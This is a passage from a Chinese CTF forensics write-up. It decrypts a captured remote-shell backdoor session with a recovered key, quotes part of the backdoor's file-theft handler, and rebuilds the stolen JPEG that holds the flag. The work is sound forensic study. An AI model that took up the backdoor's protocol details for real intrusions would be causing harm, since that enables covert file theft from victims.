printf("the error code is %x\n",ret);
return( PEL_FAILURE );
}
for(int i = 0; i < len; i++)
{
printf("%x", buffer[i]);
}
puts("");

if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 )
{
pel_errno = PEL_WRONG_CHALLENGE;

return( PEL_FAILURE );
}
return( PEL_SUCCESS );
}
int check_send_challange(char* input,int size)
{
int len = 0;
int ret = 0;
puts("check challenge");
ret = pel_send_msg( input, size, buffer, &len );
if( ret != PEL_SUCCESS ){
printf("the error code is %x\n",ret);
return( PEL_FAILURE );
}
for(int i = 0; i < len; i++)
{
printf("%x", buffer[i]);
}
puts("");

if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 )
{
pel_errno = PEL_WRONG_CHALLENGE;

return( PEL_FAILURE );
}
return( PEL_SUCCESS );
}
int write_msg(char* input,int size)
{
int len = 0;
int ret = 0;
char filename[] = "./answer.jpg";
puts("check challenge");
ret = pel_send_msg( input, size, buffer, &len );
if( ret != PEL_SUCCESS ){
printf("the error code is %x\n",ret);
return( PEL_FAILURE );
}
int fd=open(filename, O_RDWR|O_CREAT|O_APPEND, 0644);
if(fd < 0)
{
puts("open error!");
printf("errno is %d\n",errno);
return-1;
}
write(fd, buffer, len);
close(fd);
}

int check_msg(char* input,int size)
{
int len = 0;
int ret = 0;
puts("check challenge");
ret = pel_recv_msg( input, size, buffer, &len );
if( ret != PEL_SUCCESS ){
printf("the error code is %x\n",ret);
return( PEL_FAILURE );
}
for(int i = 0; i < len; i++)
{
printf("%x", buffer[i]);
}
puts("");
return( PEL_SUCCESS );
}

int main()
{
char key[] = "IRuk5NEUbZorqn7";
decrypt_init(key);
check_challange(peer0_1, sizeof(peer0_1));
check_send_challange(peer1_0, sizeof(peer1_0));
check_challange(peer0_2, sizeof(peer1_0));
check_challange(peer0_3, sizeof(peer0_3));

}

对比此时的流量图如下:

此时要记住,红色的流表示的是攻击者发送到受害者的包,蓝色的流表示的是受害者发向攻击者的包,在记住了这个之后,我们就能知道,
packet425和427两个包,表示的是攻击者企图从受害者电脑上偷取的文件名字,也就是一个类似get的函数。并且在源码中也能找到类似的函数:

1
2
3
4
5
6
7
8
9
10
11
12
int tshd_get_file( int client )
{
int ret, len, fd;
/* get the filename */
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 14 );
}

message[len] = '\0';
// ..

于是最终的flag很明显了,就是此时从受害者主机上偷走的文件!

所以最后我们根据整个解密代码,以及解析流量包,可以将main函数完善如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main()
{
puts("init");
char key[] = "IRuk5NEUbZorqn7";
decrypt_init(key);
check_challange(peer0_1, sizeof(peer0_1));
check_send_challange(peer1_0, sizeof(peer1_0));
check_challange(peer0_2, sizeof(peer1_0));
check_challange(peer0_3, sizeof(peer0_3));
const int walk = 4132;
for(int i = 0;i < sizeof(peer1_1); i+= walk)
{
write_msg(&peer1_1[i], 4096);
}
return 0;
}

最终解密发现文件是一个jpeg文件,打开后得到最终的flag

至此,整个题目解密完成

一些思考

遇到这个题目的时候,实际上比赛已经结束了,然而整个题目非常之巧妙,当发现最终的flag【来自于受害者主机】的时候,感觉真的有一种要拿到宝藏的感觉。misc题目设计最困难的就是诱导选手去思考题目,而这边将三个考点分别藏在了同一个流量包的三段stream上,做起来一气呵成,没有太多需要脑洞的地方,实属misc脑洞横飞中的一股清流。

misc题目这个方向下的取证题目质量通常参差不齐,而本题基本上是模拟了一个现实场景中,针对攻击者的简易攻击,进行取证,信息搜集,协议分析,逆向,加密协议破解等均进行了考察,笔者从这边了解到了不少的知识,感觉受益匪浅。

最后不多说了,吹爆出题人就完事儿了~